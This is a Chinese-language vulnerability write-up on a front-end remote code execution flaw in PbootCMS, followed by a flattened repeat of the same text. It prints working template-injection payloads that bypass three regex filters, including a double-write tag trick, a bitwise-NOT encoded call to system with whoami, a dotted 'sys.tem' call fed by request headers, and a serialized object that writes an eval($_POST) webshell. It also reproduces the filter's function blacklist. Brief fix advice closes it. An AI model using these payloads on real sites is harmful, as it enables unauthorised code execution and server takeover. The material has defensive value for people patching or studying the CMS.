pbootcms最新版本前台捡的rce-论如何绕废正则
字数 973 2025-08-19 12:42:04

PbootCMS 前台 RCE 漏洞分析与绕过技术详解

漏洞概述

PbootCMS 最新版本存在前台远程代码执行(RCE)漏洞,攻击者无需管理员权限即可利用该漏洞在目标系统上执行任意 PHP 代码。该漏洞源于模板解析过程中的安全过滤机制存在缺陷,导致攻击者可以绕过多重正则表达式过滤实现代码执行。

漏洞背景

PbootCMS 历史上存在多个安全漏洞,包括:

  • 3.0.1 版本的 RCE 漏洞
  • 文件上传后缀修改导致的 getshell 漏洞(需要管理员密码)
  • 3.0.2 版本前可通过文件上传结合包含漏洞实现前台 getshell

安全防护机制分析

PbootCMS 设置了三个关键的正则表达式过滤机制:

第一个正则

\{pboot:if$([^}^\$]+)$\}([\s\S]*?)\{\/pboot:if\}

限制:if 语句中不能出现 }^$ 这三个字符

第二个正则

([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(

限制:严格限制函数调用,几乎阻止了所有常规函数调用方式

第三个正则(黑名单)

过滤以下关键词:

$_GET[ $_POST[ $_REQUEST[ $_COOKIE[ $_SESSION[ 
file_put_contents file_get_contents fwrite phpinfo base64 `
shell_exec eval assert system exec passthru pcntl_exec popen 
proc_open print_r print urldecode chr include request __FILE__ 
__DIR__ copy call_user_ preg_replace array_map array_reverse 
array_filter getallheaders get_headers decode_string 
htmlspecialchars session_id

漏洞利用技术

1. 文件包含利用(3.0.2 版本前)

前提:存在文件上传点(如用户头像上传)

Payload:

{pboot:if(1)require "/var/www/html/static/upload/image/xxxxxxx/1531651052463520.png";//)}sdfsd{/pboot:if}

替代方案:包含日志文件

{pboot{user:password}:if(1)require+\app\home\controller\ParserController::parserMemberLabel('/Applications/MAMP/htdocs/1.php');//)}sdfsd{/pboot:if}

2. 正则绕过技术

第一个正则绕过

利用双写替换机制:

  • pboot:if 写为 pboot{user:password}:if
  • 系统会识别正则并替换为空,最终还原为 pboot:if

第二个正则绕过

利用 PHP 动态函数调用特性:

(~urldecode("%8c%86%8c%8b%9a%92"))(~urldecode("%88%97%90%9e%92%96"));

(注:3.0.4 版本因 htmlspecialchars 处理不可见字符导致此方法失效)

第三个正则绕过

使用点号分隔函数名:

{pboot{user:password}:if(1)(sys.tem)(((ne.xt)((getallheade.rs)())));;//)}sdfsd{/pboot:if}

3. 反序列化利用(签到题预期解法)

O:1:"B":3:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);?>";s:8:"filename";s:5:"1.php";s:6:"decade";O:3:"pdo":0:{};}

利用 fatal error 导致后续代码停止执行但 destruct 方法仍会执行的特性。

修复建议

  1. 严格匹配标签后才执行解析,破坏标签结构体(如将 { 替换为 &#123
  2. 更新至最新版本并检查所有用户输入过滤
  3. 实现更严格的函数调用限制
  4. 审查文件包含和反序列化操作的安全性

相关扩展

类似漏洞也存在于 zzzcms 1.8.4 版本中,其过滤列表存在缺陷(未过滤反引号等关键字符)。

PbootCMS 前台 RCE 漏洞分析与绕过技术详解 漏洞概述 PbootCMS 最新版本存在前台远程代码执行(RCE)漏洞,攻击者无需管理员权限即可利用该漏洞在目标系统上执行任意 PHP 代码。该漏洞源于模板解析过程中的安全过滤机制存在缺陷,导致攻击者可以绕过多重正则表达式过滤实现代码执行。 漏洞背景 PbootCMS 历史上存在多个安全漏洞,包括: 3.0.1 版本的 RCE 漏洞 文件上传后缀修改导致的 getshell 漏洞(需要管理员密码) 3.0.2 版本前可通过文件上传结合包含漏洞实现前台 getshell 安全防护机制分析 PbootCMS 设置了三个关键的正则表达式过滤机制: 第一个正则 \{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\} 限制 :if 语句中不能出现 } 、 ^ 、 $ 这三个字符 第二个正则 ([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\( 限制 :严格限制函数调用,几乎阻止了所有常规函数调用方式 第三个正则(黑名单) 过滤以下关键词: 漏洞利用技术 1. 文件包含利用(3.0.2 版本前) 前提 :存在文件上传点(如用户头像上传) Payload : 替代方案 :包含日志文件 2. 正则绕过技术 第一个正则绕过 利用双写替换机制: 将 pboot:if 写为 pboot{user:password}:if 系统会识别正则并替换为空,最终还原为 pboot:if 第二个正则绕过 利用 PHP 动态函数调用特性: (注:3.0.4 版本因 htmlspecialchars 处理不可见字符导致此方法失效) 第三个正则绕过 使用点号分隔函数名: 3. 反序列化利用(签到题预期解法) 利用 fatal error 导致后续代码停止执行但 destruct 方法仍会执行的特性。 修复建议 严格匹配标签后才执行解析,破坏标签结构体(如将 { 替换为 &#123 ) 更新至最新版本并检查所有用户输入过滤 实现更严格的函数调用限制 审查文件包含和反序列化操作的安全性 相关扩展 类似漏洞也存在于 zzzcms 1.8.4 版本中,其过滤列表存在缺陷(未过滤反引号等关键字符)。